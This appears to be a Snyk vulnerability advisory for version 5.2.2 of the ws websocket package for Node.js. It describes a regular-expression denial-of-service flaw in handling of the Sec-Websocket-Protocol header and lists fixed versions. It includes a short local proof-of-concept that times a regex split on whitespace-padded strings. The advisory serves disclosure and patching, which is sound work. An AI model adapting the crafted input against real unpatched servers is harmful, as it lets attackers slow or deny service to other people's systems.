ws@5.2.2 vulnerabilities

Simple to use, blazing fast and thoroughly tested websocket client and server for Node.js

Direct Vulnerabilities

Known vulnerabilities in the ws package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

##PoC

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.

>=7.0.0 <7.4.6 >=6.0.0 <6.2.2 <5.2.3